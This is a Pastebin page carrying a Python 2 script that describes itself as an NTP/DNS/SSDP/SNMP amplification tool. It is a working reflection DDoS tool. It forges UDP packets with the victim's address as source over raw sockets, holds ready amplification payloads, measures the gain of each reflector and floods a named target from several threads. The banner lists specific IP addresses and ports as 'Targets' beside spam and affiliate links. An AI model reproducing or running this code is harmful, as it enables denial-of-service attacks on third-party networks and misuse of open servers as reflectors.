Advertisement
KhaosBringer

NTP/DNS/SSDP/SNMP Amplification Script (Python)

Jan 13th, 2021
2,899
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.98 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import sys
  3. import time
  4. import socket
  5. import struct
  6. import threading
  7. from random import randint
  8. from optparse import OptionParser
  9. from pinject import IP, UDP
  10.  
  11. USAGE = '''
  12. %prog target.com [options]        # DDoS
  13. %prog benchmark [options]         # Calculate AMPLIFICATION factor
  14. '''
  15.  
  16. LOGO = r'''
  17. Remote IT Support - http://remoteitsupport.unaux.com
  18. VPS Hosting - http://fastserversnow.duoservers.com
  19. * Twitter - https://twitter.com/OrlandoPCRepair
  20. * Facebook - https://facebook.com/OrlandoPCRepair
  21. * Youtube - https://youtube.com/user/OrlandoPCRepair
  22.  
  23. USA Cyber Army - http://www.Facebook.com/USACyberArmy1ST
  24. * FREE Bitcoin - https://get.cryptobrowser.site/8130455
  25. * Work at Home - https://picoworkers.com/?a=0c3aa3ac
  26. * Get Paid to share links - https://join-adf.ly/22815313
  27.  
  28. Targets: https://www.cfr.org/global-conflict-tracker/?category=us
  29.  
  30. 164.51.167.157 port 22
  31. 164.51.167.158 port 22
  32. 8.26.112.197 port 53
  33. 8.26.112.200 port 53
  34. '''
  35.  
  36. HELP = (
  37.     'DNS Amplification File and Domains to Resolve (e.g: dns.txt:[evildomain.com|domains_file.txt]',
  38.     'NTP Amplification file',
  39.     'SNMP Amplification file',
  40.     'SSDP Amplification file',
  41.     'Number of threads (default=1)' )
  42.  
  43. OPTIONS = (
  44.     (('-d', '--dns'), dict(dest='dns', metavar='FILE:FILE|DOMAIN', help=HELP[0])),
  45.     (('-n', '--ntp'), dict(dest='ntp', metavar='FILE', help=HELP[1])),
  46.     (('-s', '--snmp'), dict(dest='snmp', metavar='FILE', help=HELP[2])),
  47.     (('-p', '--ssdp'), dict(dest='ssdp', metavar='FILE', help=HELP[3])),
  48.     (('-t', '--threads'), dict(dest='threads', type=int, default=1, metavar='N', help=HELP[4])) )
  49.  
  50. BENCHMARK = (
  51.     'Protocol'
  52.     '|  IP  Address  '
  53.     '|     Amplification     '
  54.     '|     Domain    '
  55.     '\n{}').format('-'*75)
  56.  
  57. ATTACK = (
  58.     '     Sent      '
  59.     '|    Traffic    '
  60.     '|    Packet/s   '
  61.     '|     Bit/s     '
  62.     '\n{}').format('-'*63)
  63.  
  64. PORT = {
  65.     'dns': 53,
  66.     'ntp': 123,
  67.     'snmp': 161,
  68.     'ssdp': 1900 }
  69.  
  70. PAYLOAD = {
  71.     'dns': ('{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01'
  72.             '{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00'
  73.             '\x00\x00\x00\x00\x00\x00'),
  74.     'snmp':('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c'
  75.         '\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01'
  76.         '\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06'
  77.         '\x01\x02\x01\x05\x00'),
  78.     'ntp':('\x17\x00\x02\x2a'+'\x00'*4),
  79.     'ssdp':('M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n'
  80.         'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
  81. }
  82.  
  83. amplification = {
  84.     'dns': {},
  85.     'ntp': {},
  86.     'snmp': {},
  87.     'ssdp': {} }        # Amplification factor
  88.  
  89. FILE_NAME = 0           # Index of files names
  90. FILE_HANDLE = 1         # Index of files descriptors
  91.  
  92. npackets = 0            # Number of packets sent
  93. nbytes = 0              # Number of bytes reflected
  94. files = {}              # Amplifications files
  95.  
  96. SUFFIX = {
  97.     0: '',
  98.     1: 'K',
  99.     2: 'M',
  100.     3: 'G',
  101.     4: 'T'}
  102.  
  103. def Calc(n, d, unit=''):
  104.     i = 0
  105.     r = float(n)
  106.     while r/d>=1:
  107.         r = r/d
  108.         i+= 1
  109.     return '{:.2f}{}{}'.format(r, SUFFIX[i], unit)
  110.  
  111. def GetDomainList(domains):
  112.     domain_list = []
  113.  
  114.     if '.TXT' in domains.upper():
  115.         file = open(domains, 'r')
  116.         content = file.read()
  117.         file.close()
  118.         content = content.replace('\r', '')
  119.         content = content.replace(' ', '')
  120.         content = content.split('\n')
  121.         for domain in content:
  122.             if domain:
  123.                 domain_list.append(domain)
  124.     else:
  125.         domain_list = domains.split(',')
  126.     return domain_list
  127.  
  128. def Monitor():
  129.     '''
  130.         Monitor attack
  131.     '''
  132.     print ATTACK
  133.     FMT = '{:^15}|{:^15}|{:^15}|{:^15}'
  134.     start = time.time()
  135.     while True:
  136.         try:
  137.             current = time.time() - start
  138.             bps = (nbytes*8)/current
  139.             pps = npackets/current
  140.             out = FMT.format(Calc(npackets, 1000),
  141.                 Calc(nbytes, 1024, 'B'), Calc(pps, 1000, 'pps'), Calc(bps, 1000, 'bps'))
  142.             sys.stderr.write('\r{}{}'.format(out, ' '*(60-len(out))))
  143.             time.sleep(1)
  144.         except KeyboardInterrupt:
  145.             print '\nInterrupted'
  146.             break
  147.         except Exception as err:
  148.             print '\nError:', str(err)
  149.             break
  150.            
  151.  
  152. def AmpFactor(recvd, sent):
  153.     return '{}x ({}B -> {}B)'.format(recvd/sent, sent, recvd)
  154.  
  155. def Benchmark(ddos):
  156.     print BENCHMARK
  157.     i = 0
  158.     for proto in files:
  159.         f = open(files[proto][FILE_NAME], 'r')
  160.         while True:
  161.             soldier = f.readline().strip()
  162.             if soldier:
  163.                 if proto=='dns':
  164.                     for domain in ddos.domains:
  165.                         i+= 1
  166.                         recvd, sent = ddos.GetAmpSize(proto, soldier, domain)
  167.                         if recvd/sent:
  168.                             print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
  169.                                 AmpFactor(recvd, sent), domain)
  170.                         else:
  171.                             continue
  172.                 else:
  173.                     recvd, sent = ddos.GetAmpSize(proto, soldier)
  174.                     print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
  175.                         AmpFactor(recvd, sent), 'N/A')
  176.                     i+= 1
  177.             else:
  178.                 break
  179.         print 'Total tested:', i
  180.         f.close()
  181.  
  182. class DDoS(object):
  183.     def __init__(self, target, threads, domains, event):
  184.         self.target = target
  185.         self.threads = threads
  186.         self.event = event
  187.         self.domains = domains
  188.     def stress(self):
  189.         for i in range(self.threads):
  190.             t = threading.Thread(target=self.__attack)
  191.             t.start()
  192.     def __send(self, sock, soldier, proto, payload):
  193.         '''
  194.             Send a Spoofed Packet
  195.         '''
  196.         udp = UDP(randint(1, 65535), PORT[proto], payload).pack(self.target, soldier)
  197.         ip = IP(self.target, soldier, udp, proto=socket.IPPROTO_UDP).pack()
  198.         sock.sendto(ip+udp+payload, (soldier, PORT[proto]))
  199.     def GetAmpSize(self, proto, soldier, domain=''):
  200.         '''
  201.             Get Amplification Size
  202.         '''
  203.         sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  204.         sock.settimeout(2)
  205.         data = ''
  206.         if proto in ['ntp', 'ssdp']:
  207.             packet = PAYLOAD[proto]
  208.             sock.sendto(packet, (soldier, PORT[proto]))
  209.             try:
  210.                 while True:
  211.                     data+= sock.recvfrom(65535)[0]
  212.             except socket.timeout:
  213.                 sock.close()
  214.                 return len(data), len(packet)
  215.         if proto=='dns':
  216.             packet = self.__GetDnsQuery(domain)
  217.         else:
  218.             packet = PAYLOAD[proto]
  219.         try:
  220.             sock.sendto(packet, (soldier, PORT[proto]))
  221.             data, _ = sock.recvfrom(65535)
  222.         except socket.timeout:
  223.             data = ''
  224.         finally:
  225.             sock.close()
  226.         return len(data), len(packet)
  227.     def __GetQName(self, domain):
  228.         '''
  229.             QNAME A domain name represented as a sequence of labels
  230.             where each label consists of a length
  231.             octet followed by that number of octets
  232.         '''
  233.         labels = domain.split('.')
  234.         QName = ''
  235.         for label in labels:
  236.             if len(label):
  237.                 QName += struct.pack('B', len(label)) + label
  238.         return QName
  239.     def __GetDnsQuery(self, domain):
  240.         id = struct.pack('H', randint(0, 65535))
  241.         QName = self.__GetQName(domain)
  242.         return PAYLOAD['dns'].format(id, QName)
  243.     def __attack(self):
  244.         global npackets
  245.         global nbytes
  246.         _files = files
  247.         for proto in _files:    # Open Amplification files
  248.             f = open(_files[proto][FILE_NAME], 'r')
  249.             _files[proto].append(f)     # _files = {'proto':['file_name', file_handle]}
  250.         sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
  251.         i = 0
  252.         while self.event.isSet():
  253.             for proto in _files:
  254.                 soldier = _files[proto][FILE_HANDLE].readline().strip()
  255.                 if soldier:
  256.                     if proto=='dns':
  257.                         if not amplification[proto].has_key(soldier):
  258.                             amplification[proto][soldier] = {}
  259.                         for domain in self.domains:
  260.                             if not amplification[proto][soldier].has_key(domain):
  261.                                 size, _ = self.GetAmpSize(proto, soldier, domain)
  262.                                 if size==0:
  263.                                     break
  264.                                 elif size<len(PAYLOAD[proto]):
  265.                                     continue
  266.                                 else:
  267.                                     amplification[proto][soldier][domain] = size
  268.                             amp = self.__GetDnsQuery(domain)
  269.                             self.__send(sock, soldier, proto, amp)
  270.                             npackets += 1
  271.                             i+=1
  272.                             nbytes += amplification[proto][soldier][domain]
  273.                     else:
  274.                         if not amplification[proto].has_key(soldier):
  275.                             size, _ = self.GetAmpSize(proto, soldier)
  276.                             if size<len(PAYLOAD[proto]):
  277.                                 continue
  278.                             else:
  279.                                 amplification[proto][soldier] = size
  280.                         amp = PAYLOAD[proto]
  281.                         npackets += 1
  282.                         i+=1
  283.                         nbytes += amplification[proto][soldier]
  284.                         self.__send(sock, soldier, proto, amp)
  285.                 else:
  286.                     _files[proto][FILE_HANDLE].seek(0)
  287.         sock.close()
  288.         for proto in _files:
  289.             _files[proto][FILE_HANDLE].close()
  290.  
  291. def main():
  292.     parser = OptionParser(usage=USAGE)
  293.     for args, kwargs in OPTIONS:
  294.         parser.add_option(*args, **kwargs)
  295.     options, args = parser.parse_args()
  296.     domains = None
  297.     if len(args)<1:
  298.         parser.print_help()
  299.         sys.exit()
  300.     if options.dns:
  301.         dns_file, domains = options.dns.split(':')
  302.         domains = GetDomainList(domains)
  303.         if domains:
  304.             files['dns'] = [dns_file]
  305.         else:
  306.             print 'Specify domains to resolve (e.g: --dns=dns.txt:evildomain.com)'
  307.             sys.exit()
  308.     if options.ntp:
  309.         files['ntp'] = [options.ntp]
  310.     if options.snmp:
  311.         files['snmp'] = [options.snmp]
  312.     if options.ssdp:
  313.         files['ssdp'] = [options.ssdp]
  314.     if files:
  315.         event = threading.Event()
  316.         event.set()
  317.         if 'BENCHMARK'==args[0].upper():
  318.             ddos = DDoS(args[0], options.threads, domains, event)
  319.             Benchmark(ddos)
  320.         else:
  321.             ddos = DDoS(socket.gethostbyname(args[0]), options.threads, domains, event)
  322.             ddos.stress()
  323.             Monitor()
  324.             event.clear()
  325.     else:
  326.         parser.print_help()
  327.         sys.exit()
  328.  
  329. if __name__=='__main__':
  330.     print LOGO
  331.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement